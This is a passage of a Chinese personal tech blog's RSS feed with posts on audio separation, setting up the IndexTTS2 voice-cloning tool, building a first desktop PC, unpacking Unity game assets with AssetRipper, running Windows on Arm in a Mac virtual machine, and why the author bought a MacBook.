&lt;p&gt;输出文件夹中 &lt;strong&gt;Instrumental&lt;/strong&gt; 为伴奏, &lt;strong&gt;Vocals&lt;/strong&gt; 为人声&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-15.g_Sr4rw3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;MSST&lt;/h3&gt;
&lt;p&gt;下载 &lt;a href=&quot;https://github.com/SUC-DriverOld/MSST-WebUI&quot;&gt;SUC-DriverOld/MSST-WebUI: A WebUI app for Music-Source-Separation-Training and we packed UVR together!&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;双击 &lt;code&gt;go-webui.bat&lt;/code&gt; 运行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-16.QzfLn3iZ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先去安装模型。每个模型的最终输出文件可能不一样&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-17.4rQM4ke5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后都是字面意思了,随后点击 &lt;strong&gt;输入音频分离&lt;/strong&gt; 开始转换&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/rvc-18.LbJS3PQ8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>手把手教你克隆音色!</title><link>https://blog.acofork.com/posts/index-tts2/</link><guid isPermaLink="true">https://blog.acofork.com/posts/index-tts2/</guid><description>仅需几秒的语音就能克隆音色,无需繁琐配置,一键启动!随时随地做蓝底神人小视频!</description><pubDate>Mon, 13 Oct 2025 12:19:06 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;视频教程: https://www.bilibili.com/video/BV1qv41zgEjE/&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;请全程魔法&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;安装Git Lfs &lt;code&gt;git lfs install&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;克隆仓库: &lt;a href=&quot;https://github.com/index-tts/index-tts&quot;&gt;index-tts/index-tts: An Industrial-Level Controllable and Efficient Zero-Shot Text-To-Speech System&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;拉取Git Lfs文件 &lt;code&gt;git lfs pull&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安装UVPython包管理器类似pip &lt;code&gt;pip install -U uv&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安装依赖: &lt;code&gt;uv sync --extra webui&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;安装hf-cli &lt;code&gt;uv tool install &quot;huggingface-hub[cli,hf_xet]&quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;从hf下载模型 &lt;code&gt;hf download IndexTeam/IndexTTS-2 --local-dir=checkpoints&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;运行web UI &lt;code&gt;uv run webui.py&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;浏览器打开 &lt;code&gt;7860&lt;/code&gt; 端口&lt;/p&gt;
&lt;h1&gt;简单使用&lt;/h1&gt;
&lt;p&gt;WebUI页面长这样
&lt;img src=&quot;https://blog.acofork.com/_astro/index-tts2-1.Qy2vTgA2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;首先将音色参考音频输入(几秒即可)&lt;/p&gt;
&lt;p&gt;然后输入要朗读的文本&lt;/p&gt;
&lt;p&gt;最终点击生成&lt;/p&gt;
&lt;h1&gt;调教&lt;/h1&gt;
&lt;p&gt;推荐使用 &lt;strong&gt;使用情感向量控制&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/index-tts2-2.BECsE42d.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>人生中的第一台自己组装的台式!键盘亮显示器必亮!</title><link>https://blog.acofork.com/posts/first-pc/</link><guid isPermaLink="true">https://blog.acofork.com/posts/first-pc/</guid><description>很早就想装一个台式常驻家里了这次阴差阳错的获得了一个机会至于为什么我称它为阴差阳错请看VCR</description><pubDate>Sat, 11 Oct 2025 05:15:38 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;我知道大家来看都是想听听我分享第一次手动组装台式机的所想所感,但是,请容许我先讲述一下在这之前的事情,这将解释为什么我在该文简介介绍是 &lt;strong&gt;阴差阳错的获得了一个机会&lt;/strong&gt; 同时,这也是 &lt;strong&gt;不得不品的一环&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;让我们将时间轴拨动到我还持有着 &lt;strong&gt;极光X笔记本&lt;/strong&gt; 的时候虽然前几期文章大致讲过了我把极光X卖了换了Mac但是就仅止于此了实际上这仅仅只是一个平庸的开始&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-45-03-97_e41039de8eaacf2.Do5FtVd2.jpg&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-47-07-88_c03b3f779c2dfd4.Dm_mTNf0.jpg&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/IMG20250929204541.C37Ur2Va.jpg&quot; alt=&quot;&quot; /&gt;
那么首先,因为我和朋友打 &lt;strong&gt;卡拉彼丘&lt;/strong&gt; 红温了,那天就觉得 &lt;strong&gt;我从来没有觉得打游戏开心过&lt;/strong&gt; 于是便决定将手上的Windows笔记本也就是极光X卖掉然后买一个MacBook专注生产力难绷&lt;/p&gt;
&lt;p&gt;我这个人执行力很高,第一天就上 &lt;strong&gt;转转&lt;/strong&gt; 把极光X卖了然后立马下单了一个25年的MacBook Air也就是前几期文章说的 &lt;strong&gt;我为什么买了个Mac&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;接下来用了几天Mac不愧是Mac只要你是拿他干活那M4+macOS将是神魔同体超强的处理器性能+高度统一的工作流。不管你是拿他剪视频修图做海报写网页改代码等等只要是生产力那Mac就是信手拈来&lt;/p&gt;
&lt;p&gt;但是,俗话说的好, &lt;strong&gt;饱暖思淫欲&lt;/strong&gt; 。人不可能一天24小时除去睡觉的8小时16小时都在工作这不现实也太压抑。所以在Mac到手的第二天我就开始研究这玩意怎么玩 &lt;strong&gt;GalGame&lt;/strong&gt; 至于为什么不研究怎么玩 &lt;strong&gt;卡拉彼丘&lt;/strong&gt; 一是当时红温状态仍在持续二是我早就知道在macOS上运行Windows程序用的还是Wine那一套。而Wine虽然发展了这么多年还是过不去竞技游戏的 &lt;strong&gt;反作弊&lt;/strong&gt; 这一关。所以就没想着在Mac上玩了况且层层转译不仅消耗性能也徒增功耗我要是真想玩游戏我为什么不用Windows&lt;/p&gt;
&lt;p&gt;怀疑的种子已在心中生根发芽,那么,只需要一把火即可彻底焚尽我的 &lt;strong&gt;苹果梦&lt;/strong&gt; 。那么这把火就是: &lt;strong&gt;关于我买了个Mac但是没有买DP转C的线导致我没法在显示器上用macOS同时因为没有C口拓展坞我的鼠标键盘也用不上那我是不是这辈子就只能用触控板和蝶式键盘了亚达亚达怎带亚达这件事&lt;/strong&gt; 。如果你看懂上面的加粗文字了的话你可能会好奇为什么不尝试买个DP转C口的线呢实际上后面真买了为什么不尝试买个拓展坞呢那是因为&lt;/p&gt;
&lt;p&gt;我这个人考虑事情都是顾全大局当我认为Mac不可能陪伴我较长时间这个结论得出时抛弃Mac只是时间问题&lt;/p&gt;
&lt;p&gt;而后,顺理成章的在 &lt;strong&gt;爱回收&lt;/strong&gt; 因为报价多300把Mac卖了质检小哥问我用了几天的时候我说5天他愣住了我说 &lt;strong&gt;还是Windows好用macOS真用不明白&lt;/strong&gt; ,随后他也附和道: &lt;strong&gt;是的是的&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-48-04-91_4fbb30eb7b71661.CDriHUam.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;总之,无论过程如何,我现在已经没有电脑可以用了,那么下一步肯定是抓紧再整个电脑过来&lt;/p&gt;
&lt;p&gt;可能是一时心急,一不小心发现了京东有一个闪购功能,又一不小心溢价了一千买了个 &lt;strong&gt;暗影精灵11锐龙版&lt;/strong&gt; ,闪购确实很闪啊,半小时不到就送到了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-48-41-11_4fbb30eb7b71661.P5-Wv2x6.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当即就开机还是Windows味正&lt;/p&gt;
&lt;p&gt;但好景不长可能是因为我之前对AMD机子有点阴影又加上这破机子到手当天蓝屏3次花屏2次游戏帧率也不是很稳定虽然后面手动调稳了。导致又萌发了一个新想法 &lt;strong&gt;笔记本就是智商税,同价位性能释放还得看台式机!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;不用我说你们应该也猜到了没错又是5天之后我把 &lt;strong&gt;暗影精灵11锐龙版&lt;/strong&gt;&lt;strong&gt;转转&lt;/strong&gt; 上出掉了。当质检小哥再次问我的你机子买了几天的时候我说5天他愣住了随后说道&lt;strong&gt;这我还测集贸了&lt;/strong&gt; 随后不到十分钟我就收到打款了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-10-11-05-49-05-90_c03b3f779c2dfd4.DA-RcUtC.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;好的,那么第二次轮回又结束了,此时我仍然处于一个没电脑用的情况(虽然也不是刚需)。不过这次,我下定决心了: &lt;strong&gt;一定要整个台式机玩玩!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;恰巧朋友准备换CPU了又恰巧要从Intel换成AMD也就是说他的主板和U都闲置了就问我要不要。那我肯定是求之不得然后便顺理成章的拿到了板U接下来只需要自己买显卡内存硬盘电源散热机箱即可因为板U暂时不需要我掏钱了所以预算非常充足又因为我这个人心急吧于是便找了 &lt;strong&gt;京东当日达&lt;/strong&gt; 也就是本地仓发货的可能要加个几百块但是刚好可以治我的“心急病”但是吧朋友的板U本来是走飞机的但是安检没过所以转陆运了那么陆运就不能当日达了也就是说就算我的其他配件当日达板U不能当日达那我这加的钱就是白加不过算了既来之则安之那么以下是我的配置单
&lt;img src=&quot;https://blog.acofork.com/_astro/Screenshot_2025-10-09-20-06-36-95_ae1f93045b87aac.CbC3RDAd.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;那么装机后效果如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/IMG20251010160613.DHwETIn1.jpg&quot; alt=&quot;&quot; /&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/IMG20251011055119.BdK1C2JV.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;装机教程&lt;/h1&gt;
&lt;p&gt;因为我本人活这么大从来没自己装过机,但是我觉得既然我是搞技术的,这东西应该也不难,再加上当今有很多装机教程视频可以看,比如 https://www.bilibili.com/video/BV1BG4y137mG 我就是看它一步步去弄的因为配件都是自己DIY的有些步骤可能对不上而且某些东西说明书虽然说不行但是实际上可以行不行还得自己动手试试&lt;/p&gt;
&lt;h1&gt;装机坑点&lt;/h1&gt;
&lt;p&gt;内存条。视频内演示的主板内存卡扣是双端的,但是我这个主板仅单端有卡扣,所以我在另一边扳了半天没反应才发现那边没卡扣(我是笨蛋&lt;/p&gt;
&lt;p&gt;水冷。现在装机不仅仅是让他能 &lt;strong&gt;跑起来&lt;/strong&gt; 更是美观和 &lt;strong&gt;RGB&lt;/strong&gt; 但是这个水冷一共有三个RGB线但是主板上只有一个RGB接口听说是要做 &lt;strong&gt;神光同步&lt;/strong&gt; 的,但是你既然包装内没带集线器那我就不接了,反正对我来说 &lt;strong&gt;RGB&lt;/strong&gt; 是徒增功耗(不过这小灯确实挺好看的&lt;/p&gt;
&lt;p&gt;硅脂。一般散热器会送你点硅脂,不用单独买&lt;/p&gt;
&lt;p&gt;机箱。因为主板背部也有很多触点,如果直接和机箱接触可能会造成短路,所以一般机箱内部都有螺丝孔可以上螺丝柱,然后将主板夹在螺丝柱上固定。问题就在这个螺丝柱了,它虽然是一个六角螺丝柱,但是 &lt;strong&gt;没有送螺丝柱套筒&lt;/strong&gt; ,也就是说,如果你家中没有老虎钳,这螺丝柱你是别想安上了,除非你是绿巨人&lt;/p&gt;
&lt;p&gt;机箱说明书。说明书上写着支持前置240冷排确实支持但是显卡挡住了因为我太信说明书了我就又去 &lt;strong&gt;京东闪购&lt;/strong&gt; 下单了个风冷,&lt;strong&gt;250&lt;/strong&gt; 块钱,商家还跟我打电话确认我的主板型号,可能曾经发生过什么不可告人的事件* 总之,风冷刚到我就被群友提醒可以上置冷排,试了一下确实可以,系内说明书!&lt;/p&gt;
&lt;h1&gt;性能测试&lt;/h1&gt;
&lt;p&gt;首先这是最终上机配置&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/first-pc.BxaPk8FZ.png&quot; alt=&quot;&quot; /&gt;
CPU-Z跑分
&lt;img src=&quot;https://blog.acofork.com/_astro/first-pc-1.CrlZfgnt.png&quot; alt=&quot;&quot; /&gt;
甜甜圈一键烤鸡1280x720帧数
&lt;img src=&quot;https://blog.acofork.com/_astro/d1122f2dcca5ea532c7aa45483120e3d.Cz_A8KSX.png&quot; alt=&quot;&quot; /&gt;
AIDA64内存和三缓测试
&lt;img src=&quot;https://blog.acofork.com/_astro/first-pc-2.D2FZLIZk.png&quot; alt=&quot;&quot; /&gt;
单烤FPU最高功耗及温度
&lt;img src=&quot;https://blog.acofork.com/_astro/first-pc-3.BTZJKDaq.png&quot; alt=&quot;&quot; /&gt;
AS SSD Benchmark硬盘测速
&lt;img src=&quot;https://blog.acofork.com/_astro/first-pc-4.CrrGGwpe.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>魔法少女的魔女审判解包Unity通用解包方案</title><link>https://blog.acofork.com/posts/manosaba-unzip/</link><guid isPermaLink="true">https://blog.acofork.com/posts/manosaba-unzip/</guid><description>魔判这部作品真的很不错大家可以去Steam搜索魔法少女的魔女审判下载下来玩玩</description><pubDate>Sun, 05 Oct 2025 16:09:36 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;前往 https://github.com/AssetRipper/ ,下载 &lt;strong&gt;AssetRipper&lt;/strong&gt; 并打开&lt;/p&gt;
&lt;p&gt;这会自动调用浏览器并导向 &lt;code&gt;http://127.0.0.1:64203&lt;/code&gt; 暂时放一边&lt;/p&gt;
&lt;p&gt;接下来在Steam页面对游戏右键并选择 &lt;code&gt;管理 - 浏览本地文件&lt;/code&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip-1.P5nbEuVG.png&quot; alt=&quot;&quot; /&gt;
会打开你的文件资源管理器并导向该游戏位于系统中的实际路径 &lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip-2.DQPsnMjC.png&quot; alt=&quot;&quot; /&gt;
点击 &lt;code&gt;地址栏&lt;/code&gt; 然后复制
&lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip-3.BTLrv9TC.png&quot; alt=&quot;&quot; /&gt;
此时在 &lt;strong&gt;AssetRipper&lt;/strong&gt; 中我们选择 &lt;code&gt;文件 - 打开文件夹&lt;/code&gt; 并粘贴路径,并进入 &lt;code&gt;*_Data&lt;/code&gt; 文件夹,这里为 &lt;strong&gt;manosaba_Data&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip.DO2aE5FK.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip-5.Dt7ZT_LR.png&quot; alt=&quot;&quot; /&gt;
接下来会进入漫长的等待时间。网页会卡在加载,我们可以查看一并打开的命令窗口确认资源载入进度
当你发现 &lt;strong&gt;查看已导入文件&lt;/strong&gt; 可被点击后,方可继续
&lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip-6.DXj17sWo.png&quot; alt=&quot;&quot; /&gt;
选择右上角的 &lt;code&gt;导出 - 导出所有文件&lt;/code&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip-7.C3qOa9zc.png&quot; alt=&quot;&quot; /&gt;
点击选择文件夹,随便选个位置放解包后的文件
&lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip-8.Bg-kYtuC.png&quot; alt=&quot;&quot; /&gt;
然后点击 &lt;strong&gt;导出主要内容&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip-9.DJmpg06t.png&quot; alt=&quot;&quot; /&gt;
最终,寻找类似 &lt;code&gt;Assets&lt;/code&gt; 文件夹就有所有的资源文件了如CG图MV角色语音等
&lt;img src=&quot;https://blog.acofork.com/_astro/manosaba-unzip-10.Bjycr6Np.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;注:某些资源为骨骼/模型和动作文件游戏进行中显现的2D图并非直接由静态文件提供而是骨骼/模型和动作文件协作而成,对于这些内容,你需要自己拼出完整的资源画面,在此不做讨论&lt;/p&gt;
</content:encoded></item><item><title>在Mac上玩GalGame竟如此简单</title><link>https://blog.acofork.com/posts/mac-gal/</link><guid isPermaLink="true">https://blog.acofork.com/posts/mac-gal/</guid><description>虽然说用了Mac就等于远离了所有游戏但是偶尔还是想打打Gal放松放松的那么有没有傻瓜式的方法让我们可以抱着Mac在床上嗯嗯啊啊呢有的</description><pubDate>Tue, 30 Sep 2025 19:29:21 GMT</pubDate><content:encoded>&lt;h1&gt;思路&lt;/h1&gt;
&lt;p&gt;首先新版的Mac用的是Arm架构的Apple自研芯片并且搭载基于Unix的MacOS系统。而大部分游戏则是专为Windows x64打造的。也就是说我们需要翻译两层首先将Unix转Win再将Arm架构专为x64架构&lt;/p&gt;
&lt;p&gt;诚然,你可以使用 &lt;strong&gt;&lt;a href=&quot;https://www.codeweavers.com/crossover&quot;&gt;CrossOver&lt;/a&gt;&lt;/strong&gt; 来自动化这个流程或者手动在Apple开发者工具下载GPTK手动执行该操作。但是这两个操作一个要钱一个要命指时间和脑子&lt;/p&gt;
&lt;p&gt;我们这里采用 &lt;strong&gt;虚拟机&lt;/strong&gt; 来简化这些操作。由于是虚拟机所以只需要准备一个Arm镜像就可以在Mac上完美运行一个Arm的Win11系统又由于微软干的大好事Arm版本的Windows11在运行x64程序是会自动转译所以我们只需要保证必要的运行库安装即可。是的这可能在性能上会大打折扣但是兼容性是最高的且如果你只玩Gal这种类PPT游戏性能差距感知不强&lt;/p&gt;
&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;首先,我们下载虚拟机软件 &lt;strong&gt;&lt;a href=&quot;https://support.broadcom.com/group/ecx/productdownloads?subfamily=VMware%20Fusion&amp;amp;freeDownloads=true&quot;&gt;VMware Fusion&lt;/a&gt;&lt;/strong&gt; (需要注册一个博通账号)&lt;/p&gt;
&lt;p&gt;登录后你可能会被重定向到 Dashboard再次访问一次链接即可进入下载软件界面
&lt;img src=&quot;https://blog.acofork.com/_astro/mac-gal.BfM7hBaJ.png&quot; alt=&quot;&quot; /&gt;
⚠️注意:你可能会发现下载按钮被禁用,这并不是你没有权限,而是你没有阅读用户许可协议,你可能又会发现,用户许可协议的勾打不上。请先点击用户协议超链接,不管你看没看,再回退到之前到页面,你就会发现用户许可协议的勾可以被选中了&lt;/p&gt;
&lt;p&gt;让我们省略一下安装过程...&lt;/p&gt;
&lt;p&gt;假设你已经成功安装了 &lt;strong&gt;VMware Fusion&lt;/strong&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/mac-gal-1.CJgwkFxo.png&quot; alt=&quot;&quot; /&gt;
接下来我们去下载 &lt;strong&gt;Windows 11 On Arm&lt;/strong&gt; 的ISO镜像 https://www.microsoft.com/zh-cn/software-download/windows11arm64&lt;/p&gt;
&lt;p&gt;你会得到
&lt;img src=&quot;https://blog.acofork.com/_astro/mac-gal-2.Dzm8NGpi.png&quot; alt=&quot;&quot; /&gt;
再次打开 &lt;strong&gt;VMware Fusion&lt;/strong&gt; 新建一个虚拟机并导入ISO文件按需调整虚拟机配置即可
&lt;img src=&quot;https://blog.acofork.com/_astro/mac-gal-3.cXUn_ZmA.png&quot; alt=&quot;&quot; /&gt;
最终我们启动虚拟机完成Windows11安装向导进入Windows桌面。此时你的Windows可能看起来糊糊的那是因为没有安装 &lt;strong&gt;VM Tools&lt;/strong&gt; ,安装一下即可
&lt;img src=&quot;https://blog.acofork.com/_astro/mac-gal-5.Dfa_tQ9_.png&quot; alt=&quot;&quot; /&gt;
此时你已经完成90%的步骤了你已经可以把你的Mac当Windows用啦但是为了让后续的游戏能顺利运行我们还是要装一下必要的运行库&lt;/p&gt;
&lt;p&gt;前往 https://zhangyue667.lanzouh.com/DirectXRepairEnhanced 下载并解压运行DX修复工具。运行后程序会自动安装DX9和VC++运行库,这足以保障大部分游戏顺利运行!&lt;/p&gt;
&lt;p&gt;如果遇到游戏打不开或第一次能打开后续打不开,请按需配置微软仿真&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/mac-gal-6.CXGiYca1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;现在,享受吧!&lt;/p&gt;
</content:encoded></item><item><title>我为什么要买个Mac</title><link>https://blog.acofork.com/posts/mac/</link><guid isPermaLink="true">https://blog.acofork.com/posts/mac/</guid><description>Mac的好处是便携、续航长、性能高。缺点是贵、要重新学一个新系统的操作。仅对我个人我认为我从Win换到Mac是一个正确的决定</description><pubDate>Tue, 30 Sep 2025 09:07:15 GMT</pubDate><content:encoded>&lt;h1&gt;我为什么决定买一个Mac&lt;/h1&gt;
&lt;p&gt;首先就是老生常谈的新鲜感但是我也不是没用过Mac在过年那会买过MacMini但是当时并不是把他当做一个生产力工具而是当做一个家庭服务器来使用。用了几天就发现几个问题一是Mac做服务器不常见而且很多在Linux上能够点点就部署的东西比如1Panel面板在Mac上就需要手动配置二是我本身的NAS负载服务就不多基本就一个QQBot没必要花一个3k多买一个艺术品来当家庭服务器来使用。&lt;/p&gt;
&lt;p&gt;然后就说到为什么这次又买了一个Mac这其实原因有点离谱。导火索是因为当时有一天跟我的朋友打了一晚上游戏打了个通宵又因为朋友比较菜打得比较折磨而且第二天还有早八的课一下就干到了早上4点顺理成章的第二天一整天都是懵懵的。第二天回家后就想着&lt;strong&gt;我从来没有觉得玩游戏开心过&lt;/strong&gt; 然后一气之下把成年礼的钱拿来买了个Mac...&lt;/p&gt;
&lt;p&gt;根本原因是我发现居家的这6个月我并不依赖游戏在居家的那段时间我用最多的软件应该是 &lt;strong&gt;Trae&lt;/strong&gt; 天天用它造轮子造小玩具写Serverless程序给网站装饰装饰没事就再做做视频拿点外快。游戏并不是说一次没玩过也有个别几周天天game。但总体来说打游戏占总空闲时间的占比不高并且大部分情况都是朋友拉我玩。我也不知道在什么时候形成了一个观念可能是ChatGPT 3.5出来的那段时间吧,就觉得,我如果把打游戏的时间拿来写写代码折腾折腾网站,这件事既是我喜爱做的,又能提升我的知识水平,以后的学习也就更容易。而打游戏,一不是我自发性的想打,二是仔细想想,打一天游戏能获得什么?段位?有什么用?能换钱吗?甚至打一天段位还会负增长;反过来想,写一天代码或者说折腾一天网站能获得什么?能获得技术经验,能丰富知识储备,然后我还可以把我懂的我理解的知识分享给大家,比如写文章做视频,有时候顺便还能拿点小钱。另外一方面点原因就是 &lt;strong&gt;开学&lt;/strong&gt; 讲点题外话吧虽然我上的是大专院校但是离家并不远仅20km左右并且入校第一天我就觉得宿舍环境太差然后导员在当天也公布了可以办走读的消息我遂在2天后就办了走读。虽说离家并不远但是一趟去程也要个1小时回程又要个1小时。虽说时间并不长但是在大一新生的课程紧密的情况下情况就有点不乐观了。尽管走读生不需要住宿也就是不需要将被子啊生活用品啊带到学校来但是俗话说现代人类不能离身的有三个东西移动电话、网络、电。但是我们学的是计算机专业而我本人也早就涉猎了这个专业那么 &lt;strong&gt;笔记本电脑&lt;/strong&gt; 要在学校-家来回跑是必不可少的。有人就说你们学校没有机房吗当然有性能还不差自备电脑对于其他同学的应用场景可能是上了一天课了回寝室跟舍友开黑打游戏而对我的使用场景就截然不同了根据上文提到的我对打游戏并不是刚需电脑对于我来说更像是一个项目操控工具我用电脑就是跟他们打交道比如VSCTrae写代码、Github提交代码、黑曜石Obsidian写文章、OBS录视频、剪映剪视频浏览器发视频或者干点别的。这些事情本来在放假那段时间是全天都可以干的比如早上8点醒了点个外卖然后开电脑看看QQ聊聊天中午吃个饭开始看看昨天写的代码修修补补到晚上再吃个饭然后睡觉整体的时间是非常灵活的。但是开学后由于每天的课是在不同的时间上有可能上个早八让你休息3小时再上下午的课那么这个三小时干什么呢有人会说午休啊睡个觉不爽吗而我的评价是&lt;strong&gt;太诡异了&lt;/strong&gt; 都走读生了晚上最早4点到家最晚11点到家那么软那么大的床倒头就睡睡足8小时然后再上下一个早八你还能困吗而且因为我是走读我是没有床铺的如果想要睡觉要不趴桌子上腰疼腿麻要不躺地上挡人走路而且硌得慌。但是话又说回来了Win本动辄2-3kg的重量加上游戏本特有的风扇吵机体烫我是不想带这个活爹两头跑的它就好好的在家伪装台式机就好了。综上在那段时间我的在校中午时间不是找点小游戏就是刷视频有一种感觉能干点什么事但是又因为没有工具所以无能为力。根据种种原因再加上那天那几个b真的是太菜了我在拿生命提你的分你在拿我的生命给我看你的唐人操作。所以我入手了这台Mac并且 &lt;strong&gt;将旧Win本&lt;/strong&gt; 扔转转上了别问我为什么扔转转一是因为广告铺天盖地的已经刻进DNA了二是曾经用过爱回收和闲鱼等平台这次想换个平台了。关于为什么要把旧Win本卖了这个原因其实非常简单因为如果这个Win本还在一是双机到底要如何协作二是Mac的刚需没这么强。简单来说就是旧的不去新的不来&lt;/p&gt;
&lt;h1&gt;Mac相比与Win的区别&lt;/h1&gt;
&lt;p&gt;轻。我这台MacBook Air M4仅1.24kg相比于之前的Win本机械革命 极光 X标称了2.2kg我觉得没这么轻Mac单手即可提起来放在包里面甚至感觉没有书重
小。这个主要是因为我买的是Air它是13寸的虽然比我之前的Win本小大部分情况我也不会用Win本的内嵌显示屏都是接显示器用的。但是得益于Apple的高色准2K屏显示效果仍然很细腻&lt;/p&gt;
&lt;p&gt;续航长。这个真的没得黑得益于Apple现在将Mac的CPU全部替换为了Arm架构的自研芯片M系列续航真的很长一般一台Win本拔电几小时电量可能就掉完了但是Mac早上充满电带去出勤上班上学不插电真的是妥妥用一天当然你不能用一些高功耗软件我这台Mac标称的续航是18h我觉得已经完全够用了&lt;/p&gt;
&lt;h1&gt;Mac的特色&lt;/h1&gt;
&lt;p&gt;系统。我觉得Mac的系统也就是macOS在Linux和Windows之间。它既不是LinuxDebian那样的毛坯房也不是Windows的那种啥都能干。在Mac上如果你打开终端你会发现很多操作特别像Linux和Windows比如Mac有AppStore对标Windows的Microsoft Store但是Mac还有brew就像Debian Linux的apt包管理器同时也像Windows的第三方包管理器Scoop。当然Scoop还是效仿apt等Linux包管理器而不是对标Mac比如你想安装 &lt;strong&gt;NodeJS&lt;/strong&gt; ,只需要先把 &lt;code&gt;brew&lt;/code&gt; 装上,然后终端运行 &lt;code&gt;brew install nodejs&lt;/code&gt; 即可
&lt;img src=&quot;https://blog.acofork.com/_astro/mac-2.BQutltIk.png&quot; alt=&quot;&quot; /&gt;
权限管理。在Mac上软件安装后很类似安卓的“沙盒”机制所有越权访问都需要用户的授权你可能会说这在现代操作系统上不是基本功吗。但是如果你用过Windows的QQ你就会知道一旦QQ安装完毕当你把QQ最小化到托盘后如果有新通知那么QQ立马会调用Windows的通知API向你发送一条通知。但是在Mac上不是这样在QQ安装完毕后系统会提示该软件需要使用通知权限点进这个系统通知后你会被导航到设置-通知此时你能看到QQ的通知权限是关的你必须手动将其打开该软件才能在后续给你推送通知否则这将是有关于QQ的最后一次通知
&lt;img src=&quot;https://blog.acofork.com/_astro/mac-1.DjzbRAVu.png&quot; alt=&quot;&quot; /&gt;
生态。有人说Mac有什么生态封闭的要死是死是活都要看Apple脸色。确实App Store的审核及其严格我目前安装的大部分软件都并未上架到AppStore但是这并不代表Mac上软件生态烂。在Mac上安装软件有三种方式1.AppStore 2.浏览器下载 &lt;code&gt;.dmg&lt;/code&gt; 文件,双机后拖放到应用程序文件夹 3.浏览器下载 &lt;code&gt;.pkg&lt;/code&gt; 文件双击后会弹出安装向导一路下一步即可完成安装。绝大多数软件都是使用后两种方式安装的其实主要还是AppStore上的软件要交苹果开发者税而第三方侧载就不用考虑这么多了。当然毕竟换了一个系统对于小开发者做的开源软件可能并没有给Mac打包一个预构建的文件这就需要你拉源码来自己编译运行了比如 &lt;code&gt;https://github.com/WEIFENG2333/VideoCaptioner&lt;/code&gt; ,这有时候也是好事,能帮助你了解软件开发、构建与发布
&lt;img src=&quot;https://blog.acofork.com/_astro/mac-3.BpoLAXcc.png&quot; alt=&quot;&quot; /&gt;
&lt;img src=&quot;https://blog.acofork.com/_astro/mac-4.CHLVmkPF.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Mac的快速上手&lt;/h1&gt;
